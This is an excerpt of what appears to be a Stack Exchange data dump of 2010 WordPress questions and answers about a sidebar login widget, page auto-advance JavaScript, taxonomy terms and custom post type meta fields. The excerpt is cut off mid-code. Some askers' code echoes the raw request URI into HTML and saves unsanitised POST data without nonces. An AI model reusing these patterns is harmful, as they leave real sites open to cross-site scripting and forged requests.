  <row Id="5577" PostTypeId="1" AcceptedAnswerId="5579" CreationDate="2010-12-18T08:27:26.080" Score="0" ViewCount="196" Body="&lt;p&gt;i'm building a widget to login from the sidebar and print errors if any,&#xA;so everything is working fine except that when i login it returns an error:&lt;br&gt;&#xA;Warning: Cannot modify header information - headers already sent.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code of the widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Custom Login/Meta Widget&#xA;function widget_artdev_meta() { ?&amp;gt;&#xA;&#xA;&amp;lt;?php global $user_ID, $user_identity, $user_level ?&amp;gt;&#xA;&amp;lt;?php if ( $user_ID ) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA; &amp;lt;h2&amp;gt;Control Panel&amp;lt;/h2&amp;gt;&#xA; &amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;Identified as &amp;lt;strong&amp;gt;&amp;lt;?php echo $user_identity ?&amp;gt;&amp;lt;/strong&amp;gt;.&#xA;  &amp;lt;ul&amp;gt;&#xA;   &amp;lt;?php if ( $user_level &amp;gt;= 10 ) : ?&amp;gt;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/wp-admin&quot;&amp;gt;Dashboard&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;?php endif // $user_level &amp;gt;= 10 ?&amp;gt;&#xA;&#xA;   &amp;lt;?php if ( $user_level &amp;gt;= 1 ) : ?&amp;gt;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/wp-admin/post-new.php&quot;&amp;gt;Write an article&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;?php endif // $user_level &amp;gt;= 1 ?&amp;gt;&#xA;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/profile&quot;&amp;gt;Profile &amp;amp;amp; personal options&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo wp_logout_url( $_SERVER['REQUEST_URI'] ); ?&amp;gt;&quot; title=&quot;Exit&quot;&amp;gt;Exit&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php elseif ( get_option('users_can_register') ) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;if ( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp; $_POST['action'] == 'log-in' ) :&#xA; global $error;&#xA; $login = wp_login( $_POST['log'], $_POST['pwd'] );&#xA; $login = wp_signon( array( 'user_login' =&amp;gt; $_POST['log'], 'user_password' =&amp;gt; $_POST['pwd'], 'remember' =&amp;gt; $_POST['rememberme'] ), false );&#xA;endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA; &amp;lt;h2&amp;gt;Identification&amp;lt;/h2&amp;gt;&#xA;&#xA; &amp;lt;?php if ( $error ) : ?&amp;gt;&#xA;  &amp;lt;p class=&quot;error&quot;&amp;gt;&#xA;   &amp;lt;?php echo $error; ?&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&amp;lt;!-- .error --&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA; &amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;&#xA;  &amp;lt;form action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&#xA;   &amp;lt;label for=&quot;log&quot;&amp;gt;Customer ID&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;log&quot; value=&quot;&amp;lt;?php echo wp_specialchars(stripslashes($user_login), 1) ?&amp;gt;&quot; size=&quot;22&quot; class=&quot;input_text_login alignright&quot; /&amp;gt;&#xA;   &amp;lt;/label&amp;gt;&#xA;   &amp;lt;label for=&quot;pwd&quot;&amp;gt;Password&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;pwd&quot; size=&quot;22&quot; class=&quot;input_text_login alignright&quot; /&amp;gt;&#xA;   &amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Login&quot; class=&quot;button&quot; style=&quot;margin-right:35px; width:70px;&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;rememberme&quot; id=&quot;rememberme&quot; type=&quot;checkbox&quot; checked=&quot;checked&quot; value=&quot;forever&quot; /&amp;gt; Remember me&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;log-in&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot;/&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/wp-login.php?action=lostpassword&quot;&amp;gt;Recover password&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/register&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif // get_option('users_can_register') ?&amp;gt;&#xA;&amp;lt;?php }&#xA;if ( function_exists('register_sidebar_widget') )&#xA;register_sidebar_widget(__('&amp;amp;rarr; Login/Meta Widget','artdev'), 'widget_artdev_meta');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anyone out there can help?&#xA;i can't understand where the problem is...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot!&lt;br&gt;&#xA;Philip &lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-18T11:24:36.253" Title="Sidebar login widget with error print, returns an error" Tags="&lt;login&gt;&lt;widgets&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="5578" PostTypeId="2" ParentId="5559" CreationDate="2010-12-18T10:46:57.380" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@matt:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve what you are asking you need to add some code to queue up a Javascript file and then the Javascript file itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put the code that follows in your theme's &lt;code&gt;functions.php&lt;/code&gt; file. You'll note it uses &lt;code&gt;is_admin()&lt;/code&gt; to avoid loading the Javascript code in your &lt;code&gt;/wp-admin/&lt;/code&gt; console; you should also add a criteria to avoid loaded it except on the pages where you need &lt;em&gt;(however I wasn't sure how to limit it since your question didn't explain enough specifics to do so):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','action_init_page_auto_advance');&#xA;function action_init_page_auto_advance() {&#xA;  if (!is_admin()) { // Make this if() limited to just the pages you need.&#xA;    $ss_url = get_stylesheet_directory_uri();&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('page-auto-advance', &#xA;      &quot;{$ss_url}/js/page-auto-advance.js&quot;,&#xA;      array(&quot;jquery&quot;)&#xA;    );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The prior code loads a file called &lt;code&gt;page-auto-advance.js&lt;/code&gt; that you'll place in a subdirectory of your theme named &lt;code&gt;/js/&lt;/code&gt; and here's that file. Note it assumes you have &lt;em&gt;&quot;next&quot;&lt;/em&gt; links on your site in the format of &lt;code&gt;&amp;lt;a rel=&quot;next&quot; href=&quot;...&quot;&amp;gt;...&amp;lt;/a&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;  var href = $(&quot;a[rel='next']&quot;).attr(&quot;href&quot;);&#xA;  if (href!=undefined)&#xA;    setTimeout('window.location.href = jQuery(&quot;a[rel=\'next\']&quot;).attr(&quot;href&quot;);',5000);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The prior Javascript will advance the page every five seconds &lt;em&gt;(5000 = 5 x 1000 milliseconds)&lt;/em&gt; if it finds a link with a &lt;code&gt;rel=&quot;next&quot;&lt;/code&gt; on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to be aware of is you might find that it advances when you don't want it to but with this code hopefully you'll have a starting point that will let you fine-tune it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-18T10:46:57.380" CommentCount="2" />
  <row Id="5579" PostTypeId="2" ParentId="5577" CreationDate="2010-12-18T11:16:49.283" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;Don't use both &lt;code&gt;wp_login()&lt;/code&gt; and &lt;code&gt;wp_signon()&lt;/code&gt;. They do the same thing, but first one is deprecated&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://jessealtman.com/2009/06/08/tutorial-wordpress-28-widget-api/&quot; rel=&quot;nofollow&quot;&gt;2.8 widget API&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Put &lt;code&gt;wp_signon()&lt;/code&gt; inside a function that you hook on the &lt;code&gt;init&lt;/code&gt; tag (You can handle the errors in the &lt;code&gt;widget()&lt;/code&gt; function)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-18T11:24:36.253" LastActivityDate="2010-12-18T11:24:36.253" CommentCount="1" />
  <row Id="5580" PostTypeId="1" AcceptedAnswerId="5588" CreationDate="2010-12-18T11:39:09.633" Score="0" ViewCount="383" Body="&lt;p&gt;currently I have 3 parent page types with multiple child pages under each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feature&#xA;* feat 1&#xA;* feat 2&#xA;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creative&#xA;* creat 1&#xA;* creat 2&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info&#xA;* info 1&#xA;* info 2&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been successful with pulling the children page content onto the parent page,  but now I want to get the children of Feature and Creative onto Creative Parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is what I am using to get the child pages of Featured parent page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;folio-menu&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$projectpage = get_pages('child_of=14&amp;amp;sort_column=post_date&amp;amp;sort_order=desc');&#xA;&#xA;$count = 0;&#xA;foreach($projectpage as $page)&#xA;{&#xA;$content = $page-&amp;gt;post_content;&#xA;if(!$content)&#xA;&#xA;continue;&#xA;if ($count == -1)&#xA;break;&#xA;$count++;&#xA;&#xA;$content = apply_filters('the_content', $content);&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;thumb-container&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;thumb&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($page-&amp;gt;ID); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo get_image (&quot;thumbnail&quot;,1,1,1,$page-&amp;gt;ID);?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;p class=&quot;smalltitle&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to list both parent page id's in 'child_of=14,15&amp;amp;...' but it did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-18T19:01:52.977" Title="Child page from 2 different parent pages" Tags="&lt;pages&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5581" PostTypeId="1" CreationDate="2010-12-18T12:16:05.177" Score="0" ViewCount="122" Body="&lt;p&gt;I would like to use &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/what-would-seth-godin-do/&quot; rel=&quot;nofollow&quot;&gt;What Would Seth Godin Do&lt;/a&gt;&quot; with &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 total cache&lt;/a&gt;&quot; - can that be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to use this inside widgets?&#xA;(I was thinking of maybe using some sort of php widget for it - but again, what about the w3 total cache?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers and/or help!&#xA;Tal&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:37:11.543" LastActivityDate="2011-01-31T09:37:11.543" Title="&quot;W3 Total Cache&quot; with &quot;What Would Seth Godin Do&quot; (and widgets?!)?" Tags="&lt;plugins&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="5582" PostTypeId="1" AcceptedAnswerId="5583" CreationDate="2010-12-18T13:05:15.380" Score="0" ViewCount="160" Body="&lt;p&gt;I'm registering taxonomy in my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&quot;our_gallery_types&quot;, array(&quot;gallery&quot;), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; &quot;Categories&quot;, &quot;singular_label&quot; =&amp;gt; &quot;Category&quot;, &quot;rewrite&quot; =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want also to automatically create two terms in this taxonomy, how would i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run Wordpress for the very first time and click Posts there is &quot;Uncategorized&quot; category. I want to do exactly the same for my taxonomy, so my users won't get confused and won't have to create categories for their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i achieve that?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-18T13:25:29.037" LastActivityDate="2010-12-18T13:25:29.037" Title="Create terms when registering taxonomy?" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;slug&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5583" PostTypeId="2" ParentId="5582" CreationDate="2010-12-18T13:15:37.310" Score="2" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term()&lt;/a&gt; (after you register the taxonomy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check if a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/term_exists&quot; rel=&quot;nofollow&quot;&gt;term exists()&lt;/a&gt; before doing that, to save some useless db queries...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-18T13:15:37.310" CommentCount="1" />
  <row Id="5584" PostTypeId="1" CreationDate="2010-12-18T13:40:27.953" Score="2" ViewCount="384" Body="&lt;p&gt;So I'm having an issue with my custom fields in my custom post type. For whatever reason the fields save and then clear somewhat randomly... I'm sure it's not random but I'm not sure what's triggering this to happen. Here's the code for my custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Custom Post Type: Strategic Giving&#xA;add_action('init', 'giving_register');&#xA;&#xA;function giving_register() {&#xA;&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Invest Items', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Item', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'giving item'),&#xA;    'add_new_item' =&amp;gt; __('Add New Item'),&#xA;    'edit_item' =&amp;gt; __('Edit Item'),&#xA;    'new_item' =&amp;gt; __('New Item'),&#xA;    'view_item' =&amp;gt; __('View Item'),&#xA;    'search_items' =&amp;gt; __('Search Items'),&#xA;    'not_found' =&amp;gt;  __('Nothing found'),&#xA;    'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/cpt-giving.png',&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'giving_items' ),&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','thumbnail','editor'),&#xA;    'paged' =&amp;gt; false,&#xA;    ); &#xA;&#xA;  register_post_type( 'givings' , $args );&#xA;}&#xA;&#xA;register_post_type( 'givings' , $args );&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;giving_admin_init&quot;);&#xA;&#xA;function giving_admin_init(){&#xA;  add_meta_box(&quot;giving_info-meta&quot;, &quot;Item Options&quot;, &quot;giving_info&quot;, &quot;givings&quot;, &quot;side&quot;, &quot;high&quot;);&#xA;}&#xA;&#xA;function giving_info(){&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $amount = $custom[&quot;amount&quot;][0];&#xA;  $monthly = $custom[&quot;monthly&quot;][0];&#xA;  $user_entered_value = $custom[&quot;user_entered_value&quot;][0];&#xA;  $item_name = $custom[&quot;item_name&quot;][0];&#xA;  $special = $custom[&quot;special&quot;][0];&#xA;  ?&amp;gt;&#xA;  &amp;lt;div style=&quot;text-align: right;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label for=&quot;amount&quot;&amp;gt;&amp;lt;strong&amp;gt;Amount:&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;  &#xA;      &amp;lt;input style=&quot;width: 180px&quot; type=&quot;text&quot; name=&quot;amount&quot; id=&quot;amount&quot; value=&quot;&amp;lt;?php echo $amount; ?&amp;gt;&quot; /&amp;gt;&#xA;      &amp;lt;em&amp;gt;Example: 30.00&amp;lt;/em&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label for=&quot;monthly&quot;&amp;gt;&amp;lt;strong&amp;gt;Monthly?&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;  &#xA;      &amp;lt;?php if ($monthly == 'on') { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;monthly&quot; id=&quot;monthly&quot; checked=&quot;checked&quot; /&amp;gt;&#xA;      &amp;lt;?php } else { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;monthly&quot; id=&quot;monthly&quot; /&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;      &#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label for=&quot;special&quot;&amp;gt;&amp;lt;strong&amp;gt;Special Item?&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;  &#xA;      &amp;lt;?php if ($special == 'on') { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;special&quot; id=&quot;special&quot; checked=&quot;checked&quot; /&amp;gt;&#xA;      &amp;lt;?php } else { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;special&quot; id=&quot;special&quot; /&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;      &#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label for=&quot;user_entered_value&quot;&amp;gt;&amp;lt;strong&amp;gt;Allow Giver To Enter Custom Value?&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;  &#xA;      &amp;lt;?php if ($user_entered_value == 'on') { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;user_entered_value&quot; id=&quot;user_entered_value&quot; checked=&quot;checked&quot; /&amp;gt;&#xA;      &amp;lt;?php } else { ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;user_entered_value&quot; id=&quot;user_entered_value&quot; /&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;      &#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label for=&quot;item_name&quot;&amp;gt;&amp;lt;strong&amp;gt;Item Name:&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;              &#xA;      &amp;lt;input style=&quot;width: 180px&quot; type=&quot;text&quot; name=&quot;item_name&quot; id=&quot;item_name&quot; value=&quot;&amp;lt;?php echo $item_name; ?&amp;gt;&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;      If item is a &amp;lt;em&amp;gt;per item&amp;lt;/em&amp;gt; then enter the name of the singular item. &amp;lt;em&amp;gt;Example: Chair - which will be displayed as &quot;30.00 per Chair&quot;&amp;lt;/em&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p style=&quot;text-align: left;&quot;&amp;gt;&#xA;      Strategic Giving photo must be horizontal and uploaded/set as the &amp;lt;strong&amp;gt;Featured Image&amp;lt;/strong&amp;gt; (see below).&#xA;      &amp;lt;em&amp;gt;Do not add photo to content area.&amp;lt;/em&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php }  &#xA;&#xA;add_action('save_post', 'giving_save_details_amount');&#xA;add_action('save_post', 'giving_save_details_monthly');&#xA;add_action('save_post', 'giving_save_details_user_entered_value');&#xA;add_action('save_post', 'giving_save_details_item_name');&#xA;add_action('save_post', 'giving_save_details_special');&#xA;&#xA;function giving_save_details_amount(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;amount&quot;, $_POST[&quot;amount&quot;]);&#xA;}&#xA;&#xA;function giving_save_details_monthly(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;monthly&quot;, $_POST[&quot;monthly&quot;]);&#xA;}&#xA;&#xA;function giving_save_details_user_entered_value(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;user_entered_value&quot;, $_POST[&quot;user_entered_value&quot;]);&#xA;}&#xA;&#xA;function giving_save_details_item_name(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;item_name&quot;, $_POST[&quot;item_name&quot;]);&#xA;}&#xA;&#xA;function giving_save_details_special(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;special&quot;, $_POST[&quot;special&quot;]);&#xA;}&#xA;&#xA;add_action(&quot;manage_pages_custom_column&quot;,  &quot;givings_custom_columns&quot;);&#xA;add_filter(&quot;manage_edit-givings_columns&quot;, &quot;givings_edit_columns&quot;);&#xA;&#xA;function givings_edit_columns($columns){&#xA;  $columns = array(&#xA;    &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Strategic Giving Item&quot;,&#xA;    &quot;amount&quot; =&amp;gt; &quot;Amount&quot;,&#xA;    &quot;monthly&quot; =&amp;gt; &quot;Monthly&quot;,&#xA;    &quot;special&quot; =&amp;gt; &quot;Special Item&quot;,&#xA;    &quot;giving_image&quot; =&amp;gt; &quot;Image&quot;&#xA;    );&#xA;&#xA;  return $columns;&#xA;}&#xA;&#xA;function givings_custom_columns($column){&#xA;  global $post;&#xA;&#xA;  switch ($column) {&#xA;    case &quot;amount&quot;:&#xA;    $custom = get_post_custom();&#xA;    echo $custom[&quot;amount&quot;][0];&#xA;    break;&#xA;&#xA;    case &quot;monthly&quot;:&#xA;    $custom = get_post_custom();&#xA;    $is_monthly = $custom[&quot;monthly&quot;][0];&#xA;    if ($is_monthly == &quot;on&quot;) {&#xA;      echo &quot;Yes&quot;;&#xA;    };&#xA;    break;&#xA;&#xA;    case &quot;special&quot;:&#xA;    $custom = get_post_custom();&#xA;    $is_special = $custom[&quot;special&quot;][0];&#xA;    if ($is_special == &quot;on&quot;) {&#xA;      echo &quot;Yes&quot;;&#xA;    };&#xA;    break;&#xA;&#xA;    case &quot;giving_image&quot;:&#xA;      echo get_the_post_thumbnail(NULL, 'staff_admin');&#xA;    break;&#xA;  }&#xA;}&#xA;&#xA;function giving_amount(){&#xA;  $custom = get_post_custom();&#xA;  return $custom[&quot;amount&quot;][0];&#xA;}&#xA;&#xA;function giving_monthly(){&#xA;  $custom = get_post_custom();&#xA;  return $custom[&quot;monthly&quot;][0];&#xA;}&#xA;&#xA;function giving_special(){&#xA;  $custom = get_post_custom();&#xA;  return $custom[&quot;special&quot;][0];&#xA;}&#xA;&#xA;function giving_user_entered_value(){&#xA;  $custom = get_post_custom();&#xA;  return $custom[&quot;user_entered_value&quot;][0];&#xA;}&#xA;&#xA;function giving_item_name(){&#xA;  $custom = get_post_custom();&#xA;  return $custom[&quot;item_name&quot;][0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; So I did more research and figured it out. Autosave (aka Revisions) - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5483/post-metadata-deletes-itself&quot;&gt;Post metadata deletes itself.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to turn off autosave for just a single post type and not globally?&lt;/p&gt;&#xA;" OwnerUserId="2050" LastEditorUserId="2050" LastEditorDisplayName="" LastEditDate="2010-12-18T13:52:38.103" LastActivityDate="2011-02-14T03:40:27.513" Title="Possible to turn off autosave for single custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5585" PostTypeId="1" CreationDate="2010-12-18T13:44:16.767" Score="1" ViewCount="48" Body="&lt;p&gt;Whenever someone comments on a blog post I've written, I want to reply to him as a comment. However, I'm sure that most of the time that person doesn't see my reply, because he's only subscribed to my post feed, not my comment feed (which makes sense - he's not interested in all comments that are posted to my blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to help commentators be notified when someone replies to them in another comment?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2010-12-18T13:50:08.633" Title="How to allow commentetors to get notifications on replies to their comments?" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="5586" PostTypeId="2" ParentId="5585" CreationDate="2010-12-18T13:50:08.633" Score="3" ViewCount="" Body="&lt;p&gt;There are plugins that add option to subscribe to comments via email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-comments/&quot; rel=&quot;nofollow&quot;&gt;Subscribe to Comments&lt;/a&gt; at my blog and it works fine for me and readers, but it is very old and promised update seems totally stuck so I suggest to look for something more maintained.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-18T13:50:08.633" />
  <row Id="5588" PostTypeId="2" ParentId="5580" CreationDate="2010-12-18T14:46:00.090" Score="1" ViewCount="" Body="&lt;p&gt;Like AmbitiousAmoeba mentioned, you'll need to perform a few &lt;code&gt;get_pages&lt;/code&gt; calls to lookup the pages for each child, merge the results together, and iterate over those results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worked up an example for you, because it's fiddly trying to merge arrays when they have matching indexes, the only thing you should need modify are the &lt;code&gt;child_of&lt;/code&gt; parameters, and of course add back in your surrounding HTML..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Updated example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Uses &lt;code&gt;array_merge&lt;/code&gt; instead, i mistaken thought it wouldn't work for with numeric keys(it does though, as Rarst kindly pointed out in the comments)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;     'child_of'    =&amp;gt; 174,&#xA;     'sort_column' =&amp;gt; 'post_date',&#xA;     'sort_order'  =&amp;gt; 'desc'&#xA;);&#xA;$child_pages = get_pages( $args );&#xA;&#xA;$args['child_of'] = 143;&#xA;$second_page_group = get_pages( $args );&#xA;$child_pages = array_merge( $child_pages, $second_page_group );&#xA;&#xA;$args['child_of'] = 146;&#xA;$third_page_group = get_pages( $args );&#xA;$child_pages = array_merge( 